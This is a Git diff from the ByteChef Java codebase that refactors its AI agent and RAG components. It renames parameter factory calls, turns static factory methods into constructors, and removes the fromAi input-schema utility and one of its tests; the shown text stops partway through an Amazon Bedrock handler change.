--- a/server/libs/modules/components/ai/agent/rag/rag-modular/document-retriever/src/main/java/com/bytechef/component/ai/rag/modular/document/retriever/cluster/VectorStoreDocumentRetriever.java
+++ b/server/libs/modules/components/ai/agent/rag/rag-modular/document-retriever/src/main/java/com/bytechef/component/ai/rag/modular/document/retriever/cluster/VectorStoreDocumentRetriever.java
@@ -104,9 +104,9 @@ protected DocumentRetriever apply(
         return org.springframework.ai.rag.retrieval.search.VectorStoreDocumentRetriever.builder()
             .vectorStore(
                 vectorStoreFunction.apply(
-                    ParametersFactory.create(clusterElement.getParameters()),
-                    ParametersFactory.create(componentConnection.getParameters()),
-                    ParametersFactory.create(clusterElement.getExtensions()), componentConnections))
+                    ParametersFactory.createParameters(clusterElement.getParameters()),
+                    ParametersFactory.createParameters(componentConnection.getParameters()),
+                    ParametersFactory.createParameters(clusterElement.getExtensions()), componentConnections))
             .filterExpression(
                 () -> filterExpression == null ? null : new FilterExpressionTextParser().parse(filterExpression))
             .similarityThreshold(
diff --git a/server/libs/modules/components/ai/agent/rag/rag-modular/query-expander/src/main/java/com/bytechef/component/ai/rag/modular/query/expander/cluster/MultiQueryExpander.java b/server/libs/modules/components/ai/agent/rag/rag-modular/query-expander/src/main/java/com/bytechef/component/ai/rag/modular/query/expander/cluster/MultiQueryExpander.java
index 62458121b63..68b33f0c7e8 100644
--- a/server/libs/modules/components/ai/agent/rag/rag-modular/query-expander/src/main/java/com/bytechef/component/ai/rag/modular/query/expander/cluster/MultiQueryExpander.java
+++ b/server/libs/modules/components/ai/agent/rag/rag-modular/query-expander/src/main/java/com/bytechef/component/ai/rag/modular/query/expander/cluster/MultiQueryExpander.java
@@ -89,8 +89,8 @@ protected org.springframework.ai.rag.preretrieval.query.expansion.QueryExpander
 
         ChatModel chatModel = (ChatModel) modelFunction
             .apply(
-                ParametersFactory.create(clusterElement.getParameters()),
-                ParametersFactory.create(componentConnection.getParameters()), false);
+                ParametersFactory.createParameters(clusterElement.getParameters()),
+                ParametersFactory.createParameters(componentConnection.getParameters()), false);
 
         return new org.springframework.ai.rag.preretrieval.query.expansion.MultiQueryExpander(
             ChatClient.builder(chatModel), null, inputParameters.getBoolean(INCLUDE_ORIGINAL, true),
diff --git a/server/libs/modules/components/ai/agent/rag/rag-modular/query-transformer/src/main/java/com/bytechef/component/ai/rag/modular/query/transformer/cluster/AbstractQueryTransformer.java b/server/libs/modules/components/ai/agent/rag/rag-modular/query-transformer/src/main/java/com/bytechef/component/ai/rag/modular/query/transformer/cluster/AbstractQueryTransformer.java
index 4bf1d31ee00..00c62f65f96 100644
--- a/server/libs/modules/components/ai/agent/rag/rag-modular/query-transformer/src/main/java/com/bytechef/component/ai/rag/modular/query/transformer/cluster/AbstractQueryTransformer.java
+++ b/server/libs/modules/components/ai/agent/rag/rag-modular/query-transformer/src/main/java/com/bytechef/component/ai/rag/modular/query/transformer/cluster/AbstractQueryTransformer.java
@@ -54,8 +54,8 @@ protected QueryTransformer apply(
         ComponentConnection componentConnection = componentConnections.get(clusterElement.getWorkflowNodeName());
 
         ChatModel chatModel = (ChatModel) modelFunction.apply(
-            ParametersFactory.create(clusterElement.getParameters()),
-            ParametersFactory.create(componentConnection.getParameters()), false);
+            ParametersFactory.createParameters(clusterElement.getParameters()),
+            ParametersFactory.createParameters(componentConnection.getParameters()), false);
 
         return build(inputParameters, chatModel);
     }
diff --git a/server/libs/modules/components/ai/agent/rag/rag-modular/src/main/java/com/bytechef/component/ai/rag/modular/cluster/ModularRag.java b/server/libs/modules/components/ai/agent/rag/rag-modular/src/main/java/com/bytechef/component/ai/rag/modular/cluster/ModularRag.java
index 55e225904fb..6fac4d669c9 100644
--- a/server/libs/modules/components/ai/agent/rag/rag-modular/src/main/java/com/bytechef/component/ai/rag/modular/cluster/ModularRag.java
+++ b/server/libs/modules/components/ai/agent/rag/rag-modular/src/main/java/com/bytechef/component/ai/rag/modular/cluster/ModularRag.java
@@ -93,8 +93,8 @@ private DocumentJoiner getDocumentJoiner(
 
                 try {
                     return documentJoinerFunction.apply(
-                        ParametersFactory.create(clusterElement.getParameters()),
-                        ParametersFactory.create(componentConnection.getParameters()));
+                        ParametersFactory.createParameters(clusterElement.getParameters()),
+                        ParametersFactory.createParameters(componentConnection.getParameters()));
                 } catch (Exception e) {
                     throw new RuntimeException(e);
                 }
@@ -118,10 +118,10 @@ private DocumentRetriever getDocumentRetriever(
 
                 try {
                     return documentRetrieverFunction.apply(
-                        ParametersFactory.create(clusterElement.getParameters()),
-                        ParametersFactory.create(
+                        ParametersFactory.createParameters(clusterElement.getParameters()),
+                        ParametersFactory.createParameters(
                             componentConnection == null ? Map.of() : componentConnection.getParameters()),
-                        ParametersFactory.create(clusterElement.getExtensions()), componentConnections);
+                        ParametersFactory.createParameters(clusterElement.getExtensions()), componentConnections);
                 } catch (Exception e) {
                     throw new RuntimeException(e);
                 }
@@ -144,8 +144,8 @@ private QueryAugmenter getQueryAugmenter(
 
                 try {
                     return queryAugmenterFunction.apply(
-                        ParametersFactory.create(clusterElement.getParameters()),
-                        ParametersFactory.create(componentConnection.getParameters()));
+                        ParametersFactory.createParameters(clusterElement.getParameters()),
+                        ParametersFactory.createParameters(componentConnection.getParameters()));
                 } catch (Exception e) {
                     throw new RuntimeException(e);
                 }
@@ -168,9 +168,9 @@ private QueryExpander getQueryExpander(
 
                 try {
                     return queryExpanderFunction.apply(
-                        ParametersFactory.create(clusterElement.getParameters()),
-                        ParametersFactory.create(componentConnection.getParameters()),
-                        ParametersFactory.create(clusterElement.getExtensions()), componentConnections);
+                        ParametersFactory.createParameters(clusterElement.getParameters()),
+                        ParametersFactory.createParameters(componentConnection.getParameters()),
+                        ParametersFactory.createParameters(clusterElement.getExtensions()), componentConnections);
                 } catch (Exception e) {
                     throw new RuntimeException(e);
                 }
@@ -196,9 +196,9 @@ private List<QueryTransformer> getQueryTransformers(
 
             queryTransformers.add(
                 queryTransformerFunction.apply(
-                    ParametersFactory.create(clusterElement.getParameters()),
-                    ParametersFactory.create(componentConnection.getParameters()),
-                    ParametersFactory.create(clusterElement.getExtensions()), componentConnections));
+                    ParametersFactory.createParameters(clusterElement.getParameters()),
+                    ParametersFactory.createParameters(componentConnection.getParameters()),
+                    ParametersFactory.createParameters(clusterElement.getExtensions()), componentConnections));
         }
 
         return queryTransformers;
diff --git a/server/libs/modules/components/ai/agent/rag/rag-questionanswer/src/main/java/com/bytechef/component/ai/rag/questionanswer/cluster/QuestionAnswerRag.java b/server/libs/modules/components/ai/agent/rag/rag-questionanswer/src/main/java/com/bytechef/component/ai/rag/questionanswer/cluster/QuestionAnswerRag.java
index 7b1d919cb0d..e513294d7e6 100644
--- a/server/libs/modules/components/ai/agent/rag/rag-questionanswer/src/main/java/com/bytechef/component/ai/rag/questionanswer/cluster/QuestionAnswerRag.java
+++ b/server/libs/modules/components/ai/agent/rag/rag-questionanswer/src/main/java/com/bytechef/component/ai/rag/questionanswer/cluster/QuestionAnswerRag.java
@@ -102,9 +102,9 @@ protected QuestionAnswerAdvisor apply(
         return QuestionAnswerAdvisor
             .builder(
                 vectorStoreFunction.apply(
-                    ParametersFactory.create(clusterElement.getParameters()),
-                    ParametersFactory.create(componentConnection.getParameters()),
-                    ParametersFactory.create(clusterElement.getExtensions()), componentConnections))
+                    ParametersFactory.createParameters(clusterElement.getParameters()),
+                    ParametersFactory.createParameters(componentConnection.getParameters()),
+                    ParametersFactory.createParameters(clusterElement.getExtensions()), componentConnections))
             .searchRequest(
                 SearchRequest.builder()
                     .filterExpression(inputParameters.getString(FILTER_EXPRESSION))
diff --git a/server/libs/modules/components/ai/agent/src/main/java/com/bytechef/component/ai/agent/AiAgentComponentHandler.java b/server/libs/modules/components/ai/agent/src/main/java/com/bytechef/component/ai/agent/AiAgentComponentHandler.java
index d29998a780c..50973af8c24 100644
--- a/server/libs/modules/components/ai/agent/src/main/java/com/bytechef/component/ai/agent/AiAgentComponentHandler.java
+++ b/server/libs/modules/components/ai/agent/src/main/java/com/bytechef/component/ai/agent/AiAgentComponentHandler.java
@@ -23,7 +23,6 @@
 import com.bytechef.component.ai.agent.action.AiAgentChatAction;
 import com.bytechef.component.ai.agent.action.AiAgentStreamChatAction;
 import com.bytechef.component.ai.agent.tool.AiAgentChatTool;
-import com.bytechef.component.definition.ActionDefinition;
 import com.bytechef.component.definition.ComponentCategory;
 import com.bytechef.component.definition.ComponentDefinition;
 import com.bytechef.platform.component.definition.AbstractComponentDefinitionWrapper;
@@ -40,7 +39,7 @@ public class AiAgentComponentHandler implements ComponentHandler {
     private final AiAgentComponentDefinition componentDefinition;
 
     public AiAgentComponentHandler(ClusterElementDefinitionService clusterElementDefinitionService) {
-        final ActionDefinition aiAgentChatActionDefinition = AiAgentChatAction.of(clusterElementDefinitionService);
+        final AiAgentChatAction aiAgentChatAction = new AiAgentChatAction(clusterElementDefinitionService);
 
         this.componentDefinition = new AiAgentComponentDefinitionImpl(
             component(AI_AGENT)
@@ -49,9 +48,9 @@ public AiAgentComponentHandler(ClusterElementDefinitionService clusterElementDef
                 .icon("path:assets/ai-agent.svg")
                 .categories(ComponentCategory.ARTIFICIAL_INTELLIGENCE)
                 .actions(
-                    aiAgentChatActionDefinition,
-                    AiAgentStreamChatAction.of(clusterElementDefinitionService))
-                .clusterElements(AiAgentChatTool.of(aiAgentChatActionDefinition)));
+                    aiAgentChatAction.actionDefinition,
+                    new AiAgentStreamChatAction(clusterElementDefinitionService).actionDefinition)
+                .clusterElements(new AiAgentChatTool(aiAgentChatAction).clusterElementDefinition));
     }
 
     @Override
diff --git a/server/libs/modules/components/ai/agent/src/main/java/com/bytechef/component/ai/agent/action/AbstractAiAgentChatAction.java b/server/libs/modules/components/ai/agent/src/main/java/com/bytechef/component/ai/agent/action/AbstractAiAgentChatAction.java
index 675b309895c..82202acde61 100644
--- a/server/libs/modules/components/ai/agent/src/main/java/com/bytechef/component/ai/agent/action/AbstractAiAgentChatAction.java
+++ b/server/libs/modules/components/ai/agent/src/main/java/com/bytechef/component/ai/agent/action/AbstractAiAgentChatAction.java
@@ -22,7 +22,6 @@
 import static com.bytechef.platform.component.definition.ai.agent.RagFunction.RAG;
 
 import com.bytechef.commons.util.MapUtils;
-import com.bytechef.component.ai.agent.util.FromAiInputSchemaUtils;
 import com.bytechef.component.ai.llm.util.ModelUtils;
 import com.bytechef.component.definition.ActionContext;
 import com.bytechef.component.definition.Parameters;
@@ -37,7 +36,6 @@
 import com.bytechef.platform.component.util.JsonSchemaGeneratorUtils;
 import com.bytechef.platform.configuration.domain.ClusterElement;
 import com.bytechef.platform.configuration.domain.ClusterElementMap;
-import com.bytechef.platform.workflow.worker.ai.FromAiResult;
 import java.util.ArrayList;
 import java.util.HashMap;
 import java.util.List;
@@ -79,9 +77,9 @@ protected ChatClient.ChatClientRequestSpec getChatClientRequestSpec(
         ComponentConnection componentConnection = connectionParameters.get(clusterElement.getWorkflowNodeName());
 
         ChatModel chatModel = (ChatModel) modelFunction.apply(
-            ParametersFactory.create(
-                MapUtils.concat(new HashMap<>(inputParameters.toMap()), new HashMap<>(clusterElement.getParameters()))),
-            ParametersFactory.create(componentConnection.getParameters()), true);
+            ParametersFactory.createParameters(
+                MapUtils.concat(Map.copyOf(inputParameters.toMap()), Map.copyOf(clusterElement.getParameters()))),
+            ParametersFactory.createParameters(componentConnection.getParameters()), true);
 
         ChatClient chatClient = ChatClient.builder(chatModel)
             .build();
@@ -129,9 +127,9 @@ private Advisor getChatMemoryAdvisor(
 
         try {
             return chatMemoryFunction.apply(
-                ParametersFactory.create(clusterElement.getParameters()),
+                ParametersFactory.createParameters(clusterElement.getParameters()),
                 getConnectionParameters(componentConnections, clusterElement),
-                ParametersFactory.create(clusterElement.getExtensions()), componentConnections);
+                ParametersFactory.createParameters(clusterElement.getExtensions()), componentConnections);
         } catch (Exception e) {
             throw new RuntimeException(e);
         }
@@ -142,7 +140,7 @@ private static Parameters getConnectionParameters(
 
         ComponentConnection componentConnection = componentConnections.get(clusterElement.getWorkflowNodeName());
 
-        return ParametersFactory.create(
+        return ParametersFactory.createParameters(
             componentConnection == null ? Map.of() : componentConnection.getParameters());
     }
 
@@ -165,9 +163,9 @@ private Advisor getRagAdvisor(
 
         try {
             return ragFunction.apply(
-                ParametersFactory.create(clusterElement.getParameters()),
+                ParametersFactory.createParameters(clusterElement.getParameters()),
                 getConnectionParameters(componentConnections, clusterElement),
-                ParametersFactory.create(clusterElement.getExtensions()), componentConnections);
+                ParametersFactory.createParameters(clusterElement.getExtensions()), componentConnections);
         } catch (Exception e) {
             throw new RuntimeException(e);
         }
@@ -187,20 +185,14 @@ private List<ToolCallback> getToolCallbacks(
 
             ComponentConnection componentConnection = connectionParameters.get(clusterElement.getWorkflowNodeName());
 
-            Map<String, ?> toolParameters = clusterElement.getParameters();
-            List<FromAiResult> fromAiResults = extractFromAiResults(toolParameters);
-
             FunctionToolCallback.Builder<Map<String, Object>, Object> builder = FunctionToolCallback.builder(
                 clusterElementDefinition.getName(),
                 getToolCallbackFunction(
                     clusterElement.getComponentName(), clusterElement.getComponentVersion(),
-                    clusterElementDefinition.getName(), toolParameters, componentConnection,
+                    clusterElementDefinition.getName(), clusterElement.getParameters(), componentConnection,
                     editorEnvironment))
                 .inputType(Map.class)
-                .inputSchema(
-                    fromAiResults.isEmpty()
-                        ? JsonSchemaGeneratorUtils.generateInputSchema(clusterElementDefinition.getProperties())
-                        : FromAiInputSchemaUtils.generateInputSchema(fromAiResults));
+                .inputSchema(JsonSchemaGeneratorUtils.generateInputSchema(clusterElementDefinition.getProperties()));
 
             // Prefer the per-tool description provided as a PROPERTY (cluster element parameter), then fall back to the
             // extension-based description for backward compatibility, otherwise use the cluster element definition
@@ -223,55 +215,24 @@ private List<ToolCallback> getToolCallbacks(
         return toolCallbacks;
     }
 
-    private static List<FromAiResult> extractFromAiResults(Map<String, ?> parameters) {
-        List<FromAiResult> fromAiResults = new ArrayList<>();
-
-        if (parameters != null) {
-            for (Map.Entry<String, ?> entry : parameters.entrySet()) {
-                if (entry.getValue() instanceof FromAiResult fromAiResult) {
-                    fromAiResults.add(fromAiResult);
-                }
-            }
-        }
-
-        return fromAiResults;
-    }
-
     private Function<Map<String, Object>, Object> getToolCallbackFunction(
         String componentName, int componentVersion, String clusterElementName, Map<String, ?> parameters,
         ComponentConnection componentConnection, boolean editorEnvironment) {
 
-        return request -> {
-            Map<String, Object> resolvedParameters = new HashMap<>();
-
-            for (Map.Entry<String, ?> entry : parameters.entrySet()) {
-                Object value = entry.getValue();
-
-                if (value instanceof FromAiResult fromAiResult) {
-                    Object requestValue = request.get(fromAiResult.name());
-
-                    resolvedParameters.put(
-                        entry.getKey(), requestValue != null ? requestValue : fromAiResult.defaultValue());
-                } else {
-                    resolvedParameters.put(entry.getKey(), value);
-                }
-            }
-
-            return clusterElementDefinitionService.executeTool(
-                componentName, componentVersion, clusterElementName, MapUtils.concat(request, resolvedParameters),
-                componentConnection, editorEnvironment);
-        };
+        return request -> clusterElementDefinitionService.executeTool(
+            componentName, componentVersion, clusterElementName, MapUtils.concat(request, new HashMap<>(parameters)),
+            componentConnection, editorEnvironment);
     }
 
     private static @Nullable String getToolDescription(ClusterElement clusterElement) {
         String toolDescription = null;
-        Map<String, ?> parameters = clusterElement.getParameters();
+        Map<String, ?> params = clusterElement.getParameters();
 
-        if (parameters != null) {
-            Object description = parameters.get("description");
+        if (params != null) {
+            Object desc = params.get("description");
 
-            if (description instanceof String string && !string.isBlank()) {
-                toolDescription = string;
+            if (desc instanceof String s && !s.isBlank()) {
+                toolDescription = s;
             }
         }
 
@@ -281,12 +242,11 @@ private Function<Map<String, Object>, Object> getToolCallbackFunction(
             if (extensions != null) {
                 Object desc = extensions.get("description");
 
-                if (desc instanceof String string && !string.isBlank()) {
-                    toolDescription = string;
+                if (desc instanceof String s && !s.isBlank()) {
+                    toolDescription = s;
                 }
             }
         }
-
         return toolDescription;
     }
 }
diff --git a/server/libs/modules/components/ai/agent/src/main/java/com/bytechef/component/ai/agent/action/AiAgentChatAction.java b/server/libs/modules/components/ai/agent/src/main/java/com/bytechef/component/ai/agent/action/AiAgentChatAction.java
index 5ea8824e2de..5f2a0e8d2a7 100644
--- a/server/libs/modules/components/ai/agent/src/main/java/com/bytechef/component/ai/agent/action/AiAgentChatAction.java
+++ b/server/libs/modules/components/ai/agent/src/main/java/com/bytechef/component/ai/agent/action/AiAgentChatAction.java
@@ -39,16 +39,12 @@
  */
 public class AiAgentChatAction extends AbstractAiAgentChatAction {
 
-    public static ChatActionDefinitionWrapper of(ClusterElementDefinitionService clusterElementDefinitionService) {
-        return new AiAgentChatAction(clusterElementDefinitionService).build();
-    }
+    public final ChatActionDefinitionWrapper actionDefinition;
 
-    private AiAgentChatAction(ClusterElementDefinitionService clusterElementDefinitionService) {
+    public AiAgentChatAction(ClusterElementDefinitionService clusterElementDefinitionService) {
         super(clusterElementDefinitionService);
-    }
 
-    private ChatActionDefinitionWrapper build() {
-        return new ChatActionDefinitionWrapper(
+        actionDefinition = new ChatActionDefinitionWrapper(
             action(CHAT)
                 .title("Chat")
                 .description("Chat with the AI agent.")
diff --git a/server/libs/modules/components/ai/agent/src/main/java/com/bytechef/component/ai/agent/action/AiAgentStreamChatAction.java b/server/libs/modules/components/ai/agent/src/main/java/com/bytechef/component/ai/agent/action/AiAgentStreamChatAction.java
index fcacb4b47a6..0a1f3149c9d 100644
--- a/server/libs/modules/components/ai/agent/src/main/java/com/bytechef/component/ai/agent/action/AiAgentStreamChatAction.java
+++ b/server/libs/modules/components/ai/agent/src/main/java/com/bytechef/component/ai/agent/action/AiAgentStreamChatAction.java
@@ -41,16 +41,12 @@
  */
 public class AiAgentStreamChatAction extends AbstractAiAgentChatAction {
 
-    public static ActionDefinition of(ClusterElementDefinitionService clusterElementDefinitionService) {
-        return new AiAgentStreamChatAction(clusterElementDefinitionService).build();
-    }
+    public final ChatActionDefinitionWrapper actionDefinition;
 
-    private AiAgentStreamChatAction(ClusterElementDefinitionService clusterElementDefinitionService) {
+    public AiAgentStreamChatAction(ClusterElementDefinitionService clusterElementDefinitionService) {
         super(clusterElementDefinitionService);
-    }
 
-    private ChatActionDefinitionWrapper build() {
-        return new ChatActionDefinitionWrapper(
+        actionDefinition = new ChatActionDefinitionWrapper(
             action("streamChat")
                 .title("Chat (stream)")
                 .description("Chat with the AI agent and stream the response.")
diff --git a/server/libs/modules/components/ai/agent/src/main/java/com/bytechef/component/ai/agent/tool/AiAgentChatTool.java b/server/libs/modules/components/ai/agent/src/main/java/com/bytechef/component/ai/agent/tool/AiAgentChatTool.java
index 7d4605ddfa1..bdb614ea404 100644
--- a/server/libs/modules/components/ai/agent/src/main/java/com/bytechef/component/ai/agent/tool/AiAgentChatTool.java
+++ b/server/libs/modules/components/ai/agent/src/main/java/com/bytechef/component/ai/agent/tool/AiAgentChatTool.java
@@ -26,8 +26,8 @@
 import static com.bytechef.component.definition.ComponentDsl.string;
 import static com.bytechef.component.definition.ai.agent.BaseToolFunction.TOOLS;
 
+import com.bytechef.component.ai.agent.action.AiAgentChatAction;
 import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.ActionDefinition;
 import com.bytechef.component.definition.ClusterElementContext;
 import com.bytechef.component.definition.ClusterElementDefinition;
 import com.bytechef.component.definition.ComponentDsl;
@@ -37,12 +37,15 @@
 
 public class AiAgentChatTool {
 
-    public static ClusterElementDefinition<MultipleConnectionsToolFunction> of(ActionDefinition actionDefinition) {
-        MultipleConnectionsPerformFunction performFn = (MultipleConnectionsPerformFunction) actionDefinition
-            .getPerform()
-            .orElseThrow();
+    public final ClusterElementDefinition<MultipleConnectionsToolFunction> clusterElementDefinition;
 
-        return ComponentDsl.<MultipleConnectionsToolFunction>clusterElement("aiAgent")
+    public AiAgentChatTool(AiAgentChatAction aiAgentChatAction) {
+        MultipleConnectionsPerformFunction performFn =
+            (MultipleConnectionsPerformFunction) aiAgentChatAction.actionDefinition
+                .getPerform()
+                .orElseThrow();
+
+        this.clusterElementDefinition = ComponentDsl.<MultipleConnectionsToolFunction>clusterElement("aiAgent")
             .title("AI Agent")
             .description("AI Agent tool")
             .properties(
@@ -64,9 +67,6 @@ public static ClusterElementDefinition<MultipleConnectionsToolFunction> of(Actio
                     .apply(inputParameters, componentConnections, extensions, new ActionContextAdapter(context)));
     }
 
-    private AiAgentChatTool() {
-    }
-
     private static class ActionContextAdapter implements ActionContext {
         private final ClusterElementContext context;
 
diff --git a/server/libs/modules/components/ai/agent/src/main/java/com/bytechef/component/ai/agent/util/FromAiInputSchemaUtils.java b/server/libs/modules/components/ai/agent/src/main/java/com/bytechef/component/ai/agent/util/FromAiInputSchemaUtils.java
deleted file mode 100644
index da36ad68b31..00000000000
--- a/server/libs/modules/components/ai/agent/src/main/java/com/bytechef/component/ai/agent/util/FromAiInputSchemaUtils.java
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.ai.agent.util;
-
-import com.bytechef.platform.workflow.worker.ai.FromAiResult;
-import com.fasterxml.jackson.databind.ObjectMapper;
-import com.fasterxml.jackson.databind.node.ArrayNode;
-import com.fasterxml.jackson.databind.node.ObjectNode;
-import java.util.List;
-import org.springframework.ai.util.json.JsonParser;
-
-/**
- * Generates JSON schema for AI tool parameters defined via {@code fromAi} expressions.
- *
- * @author Ivica Cardic
- */
-public class FromAiInputSchemaUtils {
-
-    private static final String SCHEMA_DRAFT_2020_12 = "https://json-schema.org/draft/2020-12/schema";
-
-    public static String generateInputSchema(List<FromAiResult> fromAiResults) {
-        ObjectMapper objectMapper = JsonParser.getObjectMapper();
-
-        ObjectNode schemaObjectNode = objectMapper.createObjectNode();
-
-        schemaObjectNode.put("$schema", SCHEMA_DRAFT_2020_12);
-        schemaObjectNode.put("type", "object");
-
-        ObjectNode propertiesObjectNode = schemaObjectNode.putObject("properties");
-        ArrayNode requiredArray = schemaObjectNode.putArray("required");
-
-        for (FromAiResult fromAiResult : fromAiResults) {
-            ObjectNode parameterObjectNode = objectMapper.createObjectNode();
-
-            parameterObjectNode.put("type", getJsonSchemaType(fromAiResult.type()));
-
-            if (fromAiResult.description() != null && !fromAiResult.description()
-                .isEmpty()) {
-                parameterObjectNode.put("description", fromAiResult.description());
-            }
-
-            Object defaultValue = fromAiResult.defaultValue();
-
-            if (defaultValue != null) {
-                if (defaultValue instanceof Boolean booleanValue) {
-                    parameterObjectNode.put("default", booleanValue);
-                } else if (defaultValue instanceof Integer integerValue) {
-                    parameterObjectNode.put("default", integerValue);
-                } else if (defaultValue instanceof Long longValue) {
-                    parameterObjectNode.put("default", longValue);
-                } else if (defaultValue instanceof Double doubleValue) {
-                    parameterObjectNode.put("default", doubleValue);
-                } else if (defaultValue instanceof Float floatValue) {
-                    parameterObjectNode.put("default", floatValue);
-                } else if (defaultValue instanceof String stringValue) {
-                    parameterObjectNode.put("default", stringValue);
-                } else {
-                    parameterObjectNode.putPOJO("default", defaultValue);
-                }
-            }
-
-            propertiesObjectNode.set(fromAiResult.name(), parameterObjectNode);
-
-            if (defaultValue == null) {
-                requiredArray.add(fromAiResult.name());
-            }
-        }
-
-        return schemaObjectNode.toPrettyString();
-    }
-
-    private static String getJsonSchemaType(String type) {
-        if (type == null || type.isBlank()) {
-            return "string";
-        }
-
-        return switch (type.trim()
-            .toUpperCase()) {
-            case "BOOLEAN" -> "boolean";
-            case "INTEGER" -> "integer";
-            case "NUMBER" -> "number";
-            case "ARRAY" -> "array";
-            case "OBJECT" -> "object";
-            default -> "string";
-        };
-    }
-
-}
diff --git a/server/libs/modules/components/ai/agent/src/test/java/com/bytechef/component/ai/agent/action/AbstractAiAgentChatActionTest.java b/server/libs/modules/components/ai/agent/src/test/java/com/bytechef/component/ai/agent/action/AbstractAiAgentChatActionTest.java
deleted file mode 100644
index 2a24865f479..00000000000
--- a/server/libs/modules/components/ai/agent/src/test/java/com/bytechef/component/ai/agent/action/AbstractAiAgentChatActionTest.java
+++ /dev/null
@@ -1,109 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.ai.agent.action;
-
-import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.ArgumentMatchers.anyBoolean;
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.mockStatic;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.ai.llm.util.ModelUtils;
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import com.bytechef.platform.component.ComponentConnection;
-import com.bytechef.platform.component.definition.ai.agent.ModelFunction;
-import com.bytechef.platform.component.service.ClusterElementDefinitionService;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-import org.junit.jupiter.api.extension.ExtendWith;
-import org.mockito.Mock;
-import org.mockito.MockedStatic;
-import org.mockito.junit.jupiter.MockitoExtension;
-import org.springframework.ai.chat.model.ChatModel;
-
-/**
- * @author Ivica Cardic
- */
-@ExtendWith(MockitoExtension.class)
-class AbstractAiAgentChatActionTest {
-
-    @Mock
-    private ClusterElementDefinitionService clusterElementDefinitionService;
-
-    @Test
-    void testGetChatClientRequestSpecWithNullParameterValues() throws Exception {
-        HashMap<String, Object> inputParamsMap = new HashMap<>();
-
-        inputParamsMap.put("key1", "value1");
-        inputParamsMap.put("nullableKey", null);
-
-        Parameters inputParameters = MockParametersFactory.create(inputParamsMap);
-
-        HashMap<String, Object> clusterElementParams = new HashMap<>();
-
-        clusterElementParams.put("model", "gpt-4o");
-        clusterElementParams.put("nullableParam", null);
-
-        Map<String, Object> modelElement = new HashMap<>();
-
-        modelElement.put("name", "model_1");
-        modelElement.put("type", "testComponent/v1/testModel");
-        modelElement.put("parameters", clusterElementParams);
-
-        Parameters extensions = MockParametersFactory.create(
-            Map.of("clusterElements", Map.of("model", modelElement)));
-
-        ModelFunction modelFunction = mock(ModelFunction.class);
-
-        ChatModel chatModel = mock(ChatModel.class);
-
-        when(modelFunction.apply(any(), any(), anyBoolean())).thenAnswer(invocation -> chatModel);
-        when(clusterElementDefinitionService.<ModelFunction>getClusterElement(
-            eq("testComponent"), eq(1), eq("testModel"))).thenReturn(modelFunction);
-
-        ComponentConnection componentConnection = new ComponentConnection(
-            "testComponent", 1, 1L, Map.of(), null);
-
-        Map<String, ComponentConnection> connectionParameters = Map.of("model_1", componentConnection);
-
-        ActionContext actionContext = mock(ActionContext.class);
-
-        TestAiAgentChatAction action = new TestAiAgentChatAction(clusterElementDefinitionService);
-
-        try (MockedStatic<ModelUtils> modelUtilsMockedStatic = mockStatic(ModelUtils.class)) {
-            modelUtilsMockedStatic.when(() -> ModelUtils.getMessages(any(), any()))
-                .thenReturn(List.of());
-
-            assertDoesNotThrow(
-                () -> action.getChatClientRequestSpec(inputParameters, connectionParameters, extensions,
-                    actionContext));
-        }
-    }
-
-    private static class TestAiAgentChatAction extends AbstractAiAgentChatAction {
-
-        TestAiAgentChatAction(ClusterElementDefinitionService clusterElementDefinitionService) {
-            super(clusterElementDefinitionService);
-        }
-    }
-}
diff --git a/server/libs/modules/components/ai/llm/amazon-bedrock/build.gradle.kts b/server/libs/modules/components/ai/llm/amazon-bedrock/build.gradle.kts
index 08a286632c6..cc327408a0a 100644
--- a/server/libs/modules/components/ai/llm/amazon-bedrock/build.gradle.kts
+++ b/server/libs/modules/components/ai/llm/amazon-bedrock/build.gradle.kts
@@ -1,5 +1,6 @@
 version="1.0"
 
 dependencies {
+    implementation("org.springframework.ai:spring-ai-bedrock")
     implementation("org.springframework.ai:spring-ai-bedrock-converse")
 }
diff --git a/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/AmazonBedrockComponentHandler.java b/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/AmazonBedrockComponentHandler.java
index 4cf033840f6..9b337bd84bc 100644
--- a/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/AmazonBedrockComponentHandler.java
+++ b/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/AmazonBedrockComponentHandler.java
@@ -1,5 +1,5 @@
 /*
- * Copyright 2025 ByteChef
+ * Copyright 2023-present ByteChef Inc.
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -19,15 +19,19 @@
 import static com.bytechef.component.definition.ComponentDsl.component;
 
 import com.bytechef.component.ComponentHandler;
-import com.bytechef.component.ai.llm.amazon.bedrock.action.AmazonBedrockChatAction;
